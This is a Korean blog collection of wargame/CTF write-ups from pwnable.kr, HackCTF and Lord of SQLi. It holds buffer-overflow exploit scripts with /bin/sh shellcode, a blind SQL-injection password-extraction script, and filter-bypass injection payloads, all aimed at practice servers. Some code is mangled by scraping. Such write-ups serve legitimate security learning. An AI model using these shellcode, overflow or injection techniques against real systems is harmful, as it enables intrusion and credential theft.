문제에 접속하여 flag 파일을 읽으려하면 권한 문제로 읽히지 않는다.

input파일을 실행해보면 다음과 같이 출력이 나온다.

또한 input.c 소스코드를 보면 다음과 같다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69
#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



int main(int argc, char\\\\\\\\\\* argv[], char\\\\\\\\\\* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");



// argv

if(argc != 100) return 0; // 인자가 100이 아니면

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");



// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");



// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");



// file

FILE\\\\\\\\\\* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");



// network

int sd, cd;

// 소켓 구조체

struct sockaddr\\\\\\\\\\_in saddr, caddr;

sd = socket(AF\\\\\\\\\\_INET, SOCK\\\\\\\\\\_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin\\\\\\\\\\_family = AF\\\\\\\\\\_INET;

saddr.sin\\\\\\\\\\_addr.s\\\\\\\\\\_addr = INADDR\\\\\\\\\\_ANY;

// port 정보

saddr.sin\\\\\\\\\\_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr\\\\\\\\\\*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr\\\\\\_in);

cd = accept(sd, (struct sockaddr \\\\\\\\\\*)&caddr, (socklen\\\\\\\\\\_t\\\\\\\\\\*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");



// here's your flag

system("/bin/cat flag");

return 0;

}

Colored by Color Scripter
cs

 

//argv로 주석이 되어 있는 부분의 코드를 보면 인자의 크기가 100이 아니면, 인자의 'A'인덱스 즉 65번째 인덱스가 "\x00"가 아니고, 인자의 'B' 인덱스 즉 66번째 인덱스가 "\x20\x0a\x0d"가 아니면 프로그램을 종료하고, 위 조건들을 만족시키는 경우 Stage 1 clear을 출력한다.

 

//stdio로 주석이 되어 있는 부분의 코드를 보면 read 함수로 buf를 읽어오는데, 0(stdin)이 "\x00\x0a\x00\xff"이 아닐 경우, 2(stderr)이 "\x00\x0a\x02\xff"가 아닐 경우 조건을 프로그램을 종료하고, 조건들을 만족시킬 경우 Stage 2 clear을 출력한다.

 

//env로 주석이 되어 있는 부분의 코드를 보면 getenv()함수로 환경변수 "\xde\xad\xbe\xef"의 값이 "\xca\xfe\xba\xbe"가 아닐 경우 프로그램을 종료하고, 조건을 만족하면 Stage 3 clear을 출력한다.

 

//file로 주석이 되어 있는 부분의 코드를 보면 fopen()함수로 "\x0a"라는 이름의 파일을 열고 파일을 읽어 파일의 내용이 "\x00\x00\x00\x00"가 아니면 프로그램을 종료하고, 조건을 만족하면 Stage 4 clear을 출력한다.

 

//network로 주석이 되어 있는 부분의 코드를 보면 sockaddr_in 구조체를 사용하고 있고, 소켓 생성에 실패(socket 함수 -1 반환)하면 socket error을 출력하고 프로그램을 종료한다. saddr의 포트 정보에 인자의 'C' 인덱스 즉 67번째 인덱스의 값을 넣고, bind 함수로 소켓 통신할 준비를 해준다. 이 과정에서 에러가 발생할 경우 bind error use another port를 출력하고 프로그램을 종료한다. accept()함수로 소켓을 연결하고, 에러가 발생할 경우(return -1) accept error tell admin을 출력하고 프로그램을 종료한다. 이후 소켓에서 4바이트를 받아와서 받아온 값이 "\xde\xad\xbe\xef"가 맞다면 Stage 5 clear을 출력한다.

 

위 5가지의 조건을 모두 만족시키면 플래그를 읽을 수 있다.

 

문제를 해결하기 위해 pwntools를 이용하여 파이썬 코드로 작성하였다.

첫번째 조건을 만족시키기 위해 인자값을 조건에서 주어진 대로 설정하고, 인자를 전달하려면 process 함수의 argv 옵션을 이용하여 전달할 수 있다.

 

두 번째 조건을 만족시키기 위해 stdin으로는 "\x00\x0a\x00\xff"를 전달하였고, stderr일 경우 전달하는 파일을 만들어 "\x00\x0a\x02\xff"을 저장하여 process함수의 stderr옵션을 이용하여 전달하였다.

 

세 번째 조건을 만족시키기 위해 process함수의 env 옵션을 이용하여 환경변수를 설정하였다.

 

네 번째 조건을 만족시키기 위해 조건에 주어진 이름의 파일을 만들고, 파일 내용도 조건에 주어진 대로 지정해 주었다.

 

다섯 번째 조건을 만족시키기 위해 인자의 67번째('C')인덱스에 포트를 지정하고 지정한 포트로 nc 연결을 하여 조건에서 주어진 값을 전달하였다.

따라서 코드로 작성하면 다음과 같다.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22
from pwn import \\\*



argvs = [str(i) for i in range(100)]

argvs[65] = '\x00'

argvs[66] = '\x20\x0a\x0d'

argvs[67] = '3000'



p = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'})



pay = '\x00\x0a\x00\xff'

with open('./stderr', 'w') as f:

f.write('\x00\x0a\x02\xff')



with open('\x0a', 'w') as f:

f.write('\x00\x00\x00\x00')



p.sendline(pay)



r = remote('localhost',3000)

r.send('\xde\xad\xbe\xef')



p.interactive()

Colored by Color Scripter
cs

또한 flag파일은 현재 경로에 없기 때문에 ln \\-s /home/input2/flag flag 명령으로 현재 경로에 심볼릭 링크를 걸어준 후 파이썬 코드를 실행하면 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16
[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13

file 명령어로 문제 파일을 확인하면 32비트 리눅스 실행파일임을 알 수 있다.

문제 파일을 실행하면 어떤 주소값을 출력하고, 사용자로부터 값을 입력받는다.

 

peda의 checksec명령을 이용하여 적용된 보호기법을 확인하면 nx와 pie보호기법이 적용되어 있음을 확인할 수 있다.

 

info func 명령으로 함수 목록을 확인하면 사용자 정의 함수는 다음과 같다.

 

ida 의 헥스레이 기능을 활용하여 각 함수들을 확인하면 다음과 같다.

j0n9hyun 함수는 flag 파일의 내용을 읽어와 출력하고 있고, welcome 함수는 welcome함수의 주소값을 출력하고, scanf함수를 반환하여 사용자로부터 값을 입력받고 있다. main 함수는 welcome 함수를 호출하고 있다.

문제 파일은 PIE보호기법이 적용되어 있기 때문에 실행할 때 마다 함수의 주소가 바뀌지만 상대적인 위치는 동일하므로 출력되는 welcome 함수의 주소를 통해 j0n9hyun함수의 주소값을 구할 수 있다. welcome 함수와 j0n9hyun함수는 0x909 - 0x809로 121 만큼 위치 차이가 난다.

welcome 함수에서 v1의 크기는 18인데 입력받는 곳에서 입력값의 크기를 제한하지 않기 때문에 bof가 발생한다.

따라서 18(v1 크기) + 4(ret까지 거리)만큼 입력값을 채우고 welcome 주소값을 이용하여 j0n9hyun 함수의 주소를 구해서 넣으면 j0n9hyun 함수를 실행시킬 수 있다. 이 과정을 익스 코드로 작성하면 다음과 같고, 이 익스 코드를 실행하면 플래그를 얻을 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3008)
p.recvline()
p.recvuntil('j0n9hyun is ')

w_addr = int(p.recv(10), 16)
# print(hex(w_addr))

pay = 'A'*22
pay += p32(w_addr-121)

p.sendline(pay) 
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15
[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10

문제 페이지를 확인하면 다음과 같다.

소스 코드를 보면 or, and, substr, = 을 필터링하고 있고, 문제 풀이 조건을 보니 정확한 pw값을 입력해야 문제가 풀리는 것 같다.

다음과 같이 or은 ||로, =은 like로 필터링을 우회할 수 있다.

and도 필터링 되어 있기 때문에 '|| id like 'admin' && length(pw) like 1# 와 같은 쿼리로 숫자를 바꿔가며 패스워드 길이를 알아낼 수 있다.

패스워드 길이를 알아내면 패스워드 길이만큼 반복하며 substr이 필터링 되어 있기 때문에 mid 함수를 이용하여 각 자리수에 해당하는 글자를 가져올 수 있다. mid 함수는 mid(문자, 시작위치, 가져올개수)의 형태로 사용하며 다음과 같다.

'abcd'에서 2번째 문자부터 1개의 문자만 가져왔기 때문에 b를 반환한다.

따라서 '|| id like 'admin' && ascii(mid(pw, 1, 1)) like 97# 과 같은 형식으로 쿼리를 전송하면 mid 함수로 pw의 첫번째 글자를 가져온 값의 아스키코드 값이 97인지 아닌지, 확인할 수 있다.

따라서 패스워드의 길이를 구하고, 각 자리에 해당하는 값이 아스키 코드로 변환했을때 0부터 z까지 인지 확인하고 맞는 값을 차례로 저장하는 코드를 작성하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
header = {'PHPSESSID''ujpger2natc794e8voh11pdhun'}
 
pw_len = 0
while 1:
    pay = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
    params = {'pw': pay}
    rep = requests.get(url,params=params, cookies=header)
    if "Hello admin" in rep.text:
        break
    pw_len += 1
 
print("[*] Password Length : ", pw_len)
 
pw = ''
for i in range(1, pw_len+1):
    for j in range(48,123):
        pay = "' || id like 'admin' && ascii(mid(pw,{},1)) like {}#".format(i,j)
        params = {'pw': pay}
        rep = requests.get(url, params=params, cookies=header)
        if "Hello admin" in rep.text:
            pw += chr(j)
            break
 
print("[*] Password : ", pw)
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25

file 명령어로 문제 파일을 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

프로그램을 실행시키면 다음과 같이 입력을 받고 끝난다.

gdb에서 checksec명령으로 적용된 보호기법을 보면 NX, PIE, RELRO보호기법이 적용된 것을 확인할 수 있다.

info func명령으로 함수 목록을 확인하면 다음과 같다.

작성된 함수는 two, print_flag, one, select_func, main 함수 인 것 같다. 

위 함수들을 IDA 헥스레이로 확인하면 다음과 같다.

최종적으로 실행해야 할 함수는 flag.txt를 읽어오는 print_flag()함수인 것 같다.

main 함수에서는 문자열을 입력받고 있고, 입력받은 문자열을 인자로 하여 select_func()함수를 실행하고 있다. 

select_func함수에서는 인자로 받은 문자열이 "one"이면  one함수를 실행한다. 

실제로 바이너리를 실행하고 one을 입력하면 one함수가 실행됨을 확인할 수 있다.

gdb로 select_func함수를 보면 다음과 같다.

select_func+85를 보면 call로 eax를 호출하고있다. select+85에 bp를 걸고 실행하면 다음과 같다.

eax레지스터에 저장된 값은 다음과 같다.

현재 스택에서 입력한 값의 위치와 eax에 저장된 0x56555600의 위치는 다음과 같다.

입력값 시작점과 eax에 저장된 값의 위치는 30바이트 차이나기 때문에 입력값에 30을 넣고 print_flag함수의 주소를 넣으면 될 것 같다. print_flag의 주소는 0x000006d8이다.

파이썬 익스 코드를 작성하고 실행하면 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3007)
p.recvuntil('Which function would you like to call?')

flag_addr = p32(0x000006d8)
pay = 'A'*30 + flag_addr

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23

문제 바이너리를 실행시키면 다음과 같이 입력을 받고, 입력값이 저장된 주소(추측)와 입력값을 출력해주는 것을 확인할 수 있다. y를 입력받으면 다시 입력받고, n을 입력하면 프로그램이 종료된다.

file 명령어로 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

peda에서 checksec 명령으로 적용된 보호기법을 확인해보면 다음과 같다.

NX보호기법도 적용되어 있지 않아서 쉘 코드를 삽입할 수 있을 것 같다.

info func 명령으로 함수 목록을 보면 다음과 같다.

main함수 말고는 따로 작성된 함수는 없는것 같다.

main 함수의 어셈 코드를 보면 다음과 같다.

main+83의 위치에서 scanf 함수로 입력값을 받는 것 같다.

scanf 함수가 실행된 이후인 main+88에 bp를 걸고 실행하여 입력하고 esp레지스터를 확인하면 다음과 같다.

내가 입력한 "AAAAA"는 0xffffd040에 저장되는것을 확인할 수 있다.

그리고 info frame 명령으로 eip에 저장된 값을 확인하면 다음과 같다. eip레지스터는 cpu가 다음 실행할 코드의 주소를 저장하고 있다.

eip가 저장하고 있는 값은 0xf7df4f21이고, 이 주소값은 위 esp레지스터에서 찾아보면 0xffffd0cc에 있다.

0xfffd0cc(다음 실행할 주소)와 0xffffd040(입력된 값이 저장되는 위치)는 10진수로 140만큼 차이가 난다.

따라서 입력값으로 쉘코드를 넣고, 더미값으로 140을 채운 후 입력값이 저장되는 주소를 넣으면 쉘 코드가 실행되어 쉘을 딸 수 있을 것 같다. 입력값이 저장되는 주소는 프로그램을 실행하고 값을 입력하면 주소를 출력해주기 때문에 익스 코드에서는 한번은 임의의 값을 입력하여 입력값이 저장되는 주소를 알아내고, 이후에 쉘 코드를 입력하여 쉘을 실행하도록 할 것이다. 다음과 같이 익스코드를 작성하면 쉘을 딸 수 있다. 쉘코드는 25바이트 리눅스 32비트 쉘코드를 사용하였다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3006)

p.recvuntil('Data : ')
p.sendline('test')
addr = int(p.recv(10),16)
p.recvuntil('Again (y/n): ')
p.sendline('y')
p.recvuntil('Data : ')

shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

pay = shell + 'A'*115 + p32(addr)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10

문제 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.

파일을 실행해보면 buf주소를 출력하고, 입력을 받고 실행을 끝낸다.

checksec로 보호기법을 확인하면 다음과 같다.

NX보호기법이 걸려있지 않은걸로 보아 쉘코드도 삽입이 가능할 것 같다.

info func 명령으로 함수 목록을 봤을 때 main함수 말고 별 다른 함수 목록이 안보여서 main 함수의 어셈을 보면 다음과 같다.

0x6d30(27952)만큼의 크기에 gets함수로 입력을 받고있다.

gets함수가 끝난 main+96에 bp를 걸고 값을 입력하면 파일을 실행할 때 출력하는 buf 주소와 입력한 값이 들어간 주소가 동일함을 확인할 수 있다.

따라서 입력값에 쉘코드를 넣고 (27952(buf크기) - 쉘코드 길이) + 8(RET까지 거리)만큼 입력값을 채우고 buf의 주소를 받아서 넣으면 문제를 RET에 쉘코드가 들어간 buf주소가 들어가 쉘을 딸 수 있을 것 같다. 이를 파이썬 익스코드를 작성하고 실행하면 다음과 같이 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
#p = process("./Simple_size_bof")
= remote("ctf.j0n9hyun.xyz"3005)
 
p.recvuntil("buf: ")
buf = p64(int(p.recv(14), 16))
#print(buf)
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
 
pay = shell + "A"*27930 + buf
#print(pay)
p.send(pay)
p.interactive()
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10

Hack CTF pwnable 분야 이전 문제들에 대한 롸업은 Project H4C 게시판에 있다.

 

파일 명령어로 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

파일을 실행하면 문자열을 입력받고, Hello 입력받은 문자열 의 형태로 출력하고 있다 .

checksec로 확인해보면 NX보호기법이 적용되어 있다.

info func로 함수 정보를 보면 다음과 같다.

execve 함수가 사용됨을 확인할 수 있고, main함수 말고, callMeMaybe 함수도 있는것을 확인할 수 있다.

main함수와 callMeMaybe 함수의 어셈 코드를 확인하면 다음과 같다.

main 함수에서 0x110(272)만큼의 공간을 할당하고, scanf함수로 입력을 받고 있고, callMeMaybe함수에서 execve 함수를 실행하고 있다. main함수의 입력받는 부분에서 bof를 발생시켜 callMeMaybe함수를 실행시킬 수 있을 것 같다. 입력값으로 272(buffer) + 8(SFP)를 채우고 ret에 callMeMaybe함수의 주소를 넣으면 될 것 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3004)

pay = "A"*280
pay += p64(0x0000000000400606)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06

문제를 보면 쿼리 맨 뒤 부분에 and 1=0 이라는 구문이 있어 쿼리가 거짓이 되고 있다. 이 부분을 주석처리를 통해 없애주면 문제를 해결할 수 있을 것 같다. /?pw=' or id='admin'# 이라는 쿼리를 보냈더니 #문자가 들어가지 않아서 #을 헥스값으로 바꾼 %23으로 넣었더니 정상적으로 주석처리가 되며 쿼리가 참이 되서 문제를 해결할 수 있었다.

payload : /?pw=' or id='admin'%23

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06

문제를 보면 str_replace() 함수로 admin 이라는 문자열을 필터링 하고 있다. str_replace() 함수는 해당 문자열 패턴이 있으면 치환하는 것으로 이 문제에서는 admin이라는 문자열을 없는 값으로 치환한다.  adadminmin으로 값을 주면 adadminmin 빨간색 부분이 치환되도, admin 이라는 값이 남아서 필터링을 우회할 수 있다.

payload : /?id=adadminmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03

문제를 보면 id 값이 admin 이면 문제는 해결된다. preg_math() 함수로 필터링 하는 문자들을 보면 '(따옴표)를 필터링 하고 있고, admin 이라는 문자열을 필터링 하고 있다. 그러나 첫번째 preg_match() 함수를 보면 i 가 있고, 두번째는 i가없다. preg_match() 함수의 패턴 구분자 뒤의 'i'는 대소문자 무시를 하게 된다. 만약 두번째 preg_match() 함수에 'i' 가 있었다면 admin 이라는 문자열이든, Admin 이라는 문자열이든 대소문자 구분하지 않고 필터링 하게 된다. 그러나 지금 이 함수에는 'i' 가 없다. 또한 mysql은 대소문자 구분을 하지 않는다. 따라서 대문자로 우회할 수 있다.

 

payload : /?id=ADmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03

+ Recent posts